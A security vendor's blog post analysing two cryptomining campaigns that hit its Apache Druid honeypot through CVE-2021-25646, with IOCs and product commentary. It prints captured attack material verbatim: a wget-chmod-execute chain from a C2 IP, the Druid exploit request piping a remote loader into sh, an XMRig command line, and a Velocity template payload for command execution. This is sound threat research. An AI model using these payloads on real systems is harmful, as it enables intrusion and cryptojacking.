ARMO CADR Uncovers Multiple Crypto Miner Attack Operations

Introduction: Luring in the Threat Actors

The best way to understand real-world attacks is to observe them in the wild. Following this principle, our research team set up a decoy Kubernetes workload designed to attract malicious actors – a honeypot in a Kubernetes cluster we named the “Honey-pod.” 😉

Inside this pod, we deployed Apache Druid, a popular open-source analytics database known for its scalability and, unfortunately, for a history of exploitable vulnerabilities. By deliberately exposing the Druid service to the public internet, we effectively hung a “hack me” sign on our simulated infrastructure.

And then, we waited.

It didn’t take long before attackers found us. What followed were two distinct crypto-mining attack campaigns, both exploiting the same vulnerability but using different infrastructure and techniques. These attacks were detected and reconstructed in real-time by ARMO’s Cloud Detection and Response (CADR) solution.

We found sophisticated adversaries actively hunting for vulnerable systems, with each campaign using different command and control servers, malware variants, and exploitation techniques.

This blog will walk you through:

• How the attackers exploited the system
• What they attempted to run inside the pod
• Detailed analysis of the payloads and scripts used
• IOCs for both campaigns
• And how ARMO CADR flagged, unraveled, and contained every step of the breaches to prevent them from executing without a human in the loop

The Vulnerability: CVE-2021-25646 and the Power of Context

Both attack campaigns gained their initial foothold by exploiting a known vulnerability in Apache Druid: CVE-2021-25646. This CVE allows unauthenticated remote code execution by abusing the Druid console’s ability to execute user-supplied JavaScript expressions – a serious risk when exposed to the internet without access controls.

While our deployment was intentionally vulnerable, this scenario underscores a critical lesson: not all vulnerabilities are created equal, and not all of them are exploitable. In fact, only a fraction of the vulnerabilities showing up in the results of static scanners are exploitable.

This is where ARMO’s runtime-reachability Vulnerability Management shines. Unlike traditional scanners that overwhelm teams with endless CVE lists, ARMO highlights vulnerabilities that:

• Are known to be actively exploited in the wild
• Are reachable from outside the cluster
• Are running vulnerable code in a production workload

In our Honey-pod, the vulnerable Druid instance matched all three criteria — and ARMO CADR correctly flagged it as a high-priority risk. This kind of context-aware detection is what separates real, urgent, risk from noise, helping defenders focus on what truly matters.

Attack Campaign #1: RUDEDEVIL/LUCIFER IS BACK

Initial Access: Reconnaissance and Verification

Our investigation revealed that the first attack began with what appears to be an automated scan targeting Apache Druid installations vulnerable to CVE-2021-25646. Upon discovering our honeypot, the attackers executed the exploit, followed by a series of commands to verify successful exploitation, including:

curl zve1ig.dnslog.cn
curl hgpxhn.dnslog.cn

These calls to dnslog.cn (a domain known to be used for DNS callback verification) confirmed that command execution was possible and suggested the attack originated in China.

Further analysis uncovered Chinese websites and GitHub repositories documenting this specific vulnerability exploitation with the technique of ping back to dnslog.cn:

• https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py
• https://github.com/j2ekim/CVE-2021-25646/blob/main/cve-2021-25646.py

ARMO’s CADR function-level anomaly detection successfully identified an unexpected code execution path within the Druid application, triggered by the exploit, enabling us to detect it in real time. This deep level of visibility into runtime behavior allows our solution to catch even previously unknown (zero-day) exploits—threats that often bypass traditional security tools.

Execution: System Inspection and Payload Delivery

Approximately 30 minutes after initial access, we observed the attacker running basic reconnaissance commands:

• sh -c id
• curl hgpxhn.dnslog.cn (again verifying command execution)
• id
• whoami

Then, after a 13-hour pause, the actual attack unfolded with the execution of a script to download and install crypto-mining malware:

/bin/sh -c wget http://193.200.134.156:3520/20156;chmod 777 20156;./20156;rm -r 20156;wget http://193.200.134.156:3520/20158;chmod 777 20158;./20158;rm -r 20158

This command chain downloaded two malicious binaries from the C2 server, granted them execute permissions, ran them, and then deleted them to cover tracks. Let’s break down what this command does:

1. wget http://193.200.134.156:3520/20156 – Downloads the first malicious binary (yes, the filename is “20156”)
2. chmod 777 20156 – Makes the file executable by all users
3. ./20156 – Executes the malware
4. rm -r 20156 – Removes the file to avoid detection
5. Then repeats the same process for a second binary named “20158”

This technique of immediately removing files after execution is a standard anti-forensics method that makes it harder for security tools to detect and analyze the malware.

Here is ARMO CADR showing the infection within the container:

Malware Analysis: XMRig Cryptominer

Based on network communications, process behavior, and our analysis of the malware samples, we identified the malware deployed in this first attack as an XMRig-based cryptominer. After successful exploitation, the malware established communication with crypto mining pools:

DNS requests to nishabii.xyz and hfs.t1linux.com (known mining pools)

Followed by mining process execution with the following command:

/tmp/360speedl -o stratum+tcp://auto.c3pool.org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p CPU2 -l /tmp/360speedl.txt

Breaking down this command:

• /tmp/360speedl – The name of the XMRig binary
• -o stratum+tcp://auto.c3pool.org:19999 – The mining pool URL and port
• -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc – The attacker’s Monero wallet address
• -p CPU2 – The worker name (helps attackers track which compromised machines are mining for them)
• -l /tmp/360speedl.txt – Output log file location

The malware also executed additional commands to optimize mining performance and establish persistence:

This command loads the Model-Specific Register (MSR) kernel module with write permissions enabled. MSR access allows the miner to disable CPU prefetchers and make other low-level optimizations that can improve cryptomining performance.

/bin/sh -c service crond start

Starting the cron daemon allows the malware to establish persistence through scheduled tasks.

First Campaign Technical Analysis

The malware sample (/tmp/360speedl) had the following hashes:

• SHA-1: ea7c97294f415dc8713ac8c280b3123da62f6e56
• MD5: 8f4fff0ded94f1141768220906abfbb8

Analysis in VirusTotal showed that 42 out of 64 antivirus engines flagged this as the XMRig crypto miner. Further investigation suggested that this binary was likely a child process of the downloaded “20156” file.

The IP address 193[.]200[.]134[.]156 has also been previously identified as a Cobalt Strike C2 server based on this tweet:

Cobalt Strike Server Found
C2: HTTPS @ 193[.]200[.]134[.]156:7443
C2 Server: 193[.]200[.]134[.]156,/Def/v6[.]98/R4LXL4JVZ3
Country: Hong Kong
ASN: VH-GLOBAL VH Global Limited

By tracking the Monero wallet address used in this campaign, we identified at least 26 active “workers” (compromised servers) contributing to it, with approximately 110 XMR coins earned this far through this campaign.

In addition, we traced some of the IOCs to earlier reports by Elastic Labs and Aqua Security (here and here), which describe similar malware. We believe this malware is related to the same threat actor and likely the same variant of RUDEDEVIL/LUCIFER malwares. This supports our initial conclusion that the campaign originates from China. Notably, Elastic’s report includes the following message which contains the same XMR wallet address:

Hi, man. I\'ve seen several organizations report my Trojan recently, 
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. 
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. 
I don\'t have any accommodation. I don\'t want to do anything illegal. 
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, 
thank yo

Attack Campaign #2: Sysrv Botnet Attack

Five days following the initial attack on our Apache Druid honeypot, we detected a distinct intrusion leveraging the same critical vulnerability, CVE-2021-25646. This subsequent campaign employed different infrastructure and payloads, consistent with the known Sysrv botnet activities, which have been active since December 2020 and have evolved over time.​

The initial exploit payload observed was:​

POST /druid/indexer/v1/sampler HTTP/1.1
...
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"(curl 194.38.23.2/ldr.sh?y8dd4a||wget -q -O- 194.38.23.2/ldr.sh?y8dd4a)|sh\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}"

This request downloads and executes the ldr.sh script from a known Sysrv command and control (C2) server.

Loader Script: ldr.sh

The ldr.sh script is a malicious shell script designed to prepare the system for further compromise. Its functions include:​

• Environment Setup: Configures system paths and generates a unique system identifier.
• Defense Evasion: Disables firewalls (e.g., ufw, iptables) and removes system protections.
• Competitor Removal: Terminates processes associated with other cryptocurrency miners.
• System Inspection: Performs hardware checks to identify suitable CPUs for mining.
• Persistence Establishment: Installs itself in various locations to maintain access after reboots.
• Lateral Movement: Attempts to gather SSH keys and hostnames to propagate to other systems.
• Log Cleaning: Erases evidence from system logs to avoid detection.​

Subsequently, the script downloads a platform-specific payload (sys.[architecture]) from the C2 server, containing the actual Sysrv botnet code.

Finally it executes the binary:

 get $cc/sys.$(uname -m) $sys
 nohup $sys 1>/dev/null 2>&1 &

Source: ARMO – Runtime Attack Graph

Sysrv Malware Analysis

Upon retrieving the ldr.sh script, we obtained the second-stage payload: sys.x86_64. This file is a UPX-packed, 64-bit ELF executable with the following characteristics:​

• MD5 Checksum (Packed): 2bb292f0f9d28c5865cdfe601a082db6
• MD5 Checksum (Unpacked): 6b974427998d6ead480d5c2196578033​

Analysis via VirusTotal confirms this as a known variant of the Sysrv botnet.​

The file is available in the “virus exchange” here.
We found that this malware was analyzed at various points of time differently, for example here and here in 2021 and here in 2023.

As detailed in these reports, the malware, written in Golang, exhibits several capabilities:​

• Cryptomining: Deploys the XMRig miner to mine Monero cryptocurrency.
• Botnet Deployment: Incorporates Mirai botnet functionalities.
• Persistence: Installs private SSH keys to maintain long-term access.
• Exploitation: Contains multiple remote code execution exploits for services like Apache and Atlassian to facilitate spread

Additionally, we identified a Windows loader (ldr.ps1) and Windows malware (sys.exe), along with some XML exploits on the server.​

Since this malware had already been analyzed by other researchers and linked to the Sysrv campaign – with our findings aligning closely – we chose to focus this report on the additional insights we uncovered.

Scanning the IP address of the C2 server (194.38.23.2) revealed an open FTP server. Upon login, we retrieved another exploit named cmd.vm, a Velocity Template Language (VTL) script employing reflection to execute arbitrary system commands. This technique is commonly associated with Server-Side Template Injection (SSTI) vulnerabilities.​

The code structure is as follows:​

#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end

Let’s break it down line by line:

1. #set ($e="exp") – Sets a variable $e to the string “exp” (short for “expression”).
2. #set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd)) – This uses Java reflection to:
   • Get the Class object of the string “exp”
   • Use it to load the Runtime class
   • Get the getRuntime method
   • Invoke that method to get the Runtime instance
   • Call exec() on that instance with a parameter $cmd (which would contain the system command to execute)
3. #set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a)) – This gets the input stream from the process created in the previous step.
4. #set($sc = $e.getClass().forName("java.util.Scanner")) – Loads the Scanner class.
5. #set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream"))) – Gets the Scanner constructor that takes an InputStream parameter.
6. #set($scan=$constructor.newInstance($input).useDelimiter("\\A")) – Creates a new Scanner instance with the process input stream and sets it to use the beginning-of-input delimiter.
7. #if($scan.hasNext()) $scan.next() #end – If there’s any output from the command, this will read all of it at once and output it into the rendered template.

This code is associated with the exploitation of CVE-2019-3396, which is also embedded in the malware.​

Timeline of Sysrv Development

• December 2020: Initial discovery by Intezer.
• 2021: Multiple iterations with new exploits added.
• May 2022: Microsoft identifies a new variant dubbed “Sysrv-K” with additional exploits and Telegram bot capabilities.
• 2023–2025: Continued operations with refined techniques, as observed in our honeypot.​

Notably, the adversary does not employ sophisticated malware obfuscation or proxy techniques. Instead, they rely on exploiting known vulnerabilities, indicating that unpatched systems remain a significant risk.​

Indicators of Compromise (IOCs)

• C2 Server IP: 194.38.23.2
• Loader Script: ldr.sh
• Second-Stage Payload: sys.x86_64
• Additional Exploit: cmd.vm
  • MD5 Checksum: 0e3deb109d9424b5204582e1daf44307
• Malware Hashes:
  • sys.x86_64 (Packed): 2bb292f0f9d28c5865cdfe601a082db6
  • sys-unpacked: 6b974427998d6ead480d5c2196578033​
• Loader hashes:
  • ldr.sh: 0e5e46802794a6b50014ee882aaae613
  • ldr.ps1: 4e0d07e6e4b8d9a607013ccae5c6eb14

In closing

By observing real-world attacks on a honeypot Kubernetes cluster, ARMO’s research team uncovered two distinct crypto-mining campaigns exploiting the CVE-2021-25646 vulnerability in Apache Druid. The first campaign, linked to the RUDEDEVIL/LUCIFER malware family, originated from China and utilized XMRig to mine Monero. The second campaign was attributed to the Sysrv botnet, known for exploiting various vulnerabilities and deploying cryptominers. 

The findings underscore that when unpatched systems pose a risk at runtime, whether through explicit risk acceptance or inadvertent oversight, runtime security becomes the last line of defense. ARMO CADR successfully detected and contained both attacks, highlighting the importance of context-aware vulnerability management and runtime detection in preventing exploitation. 

Tools that provide clear incident explanations through attack graphs and AI-generated narratives are critical for fast understanding and effective response. While preventative measures like patching, network policies, and seccomp profiles are valuable, robust runtime security with auto-remediation and a clear attack story from code to cloud becomes essential when these measures fail, minimizing Mean Time to Detect (MTTD) and Mean Time to Remediate (MTTR).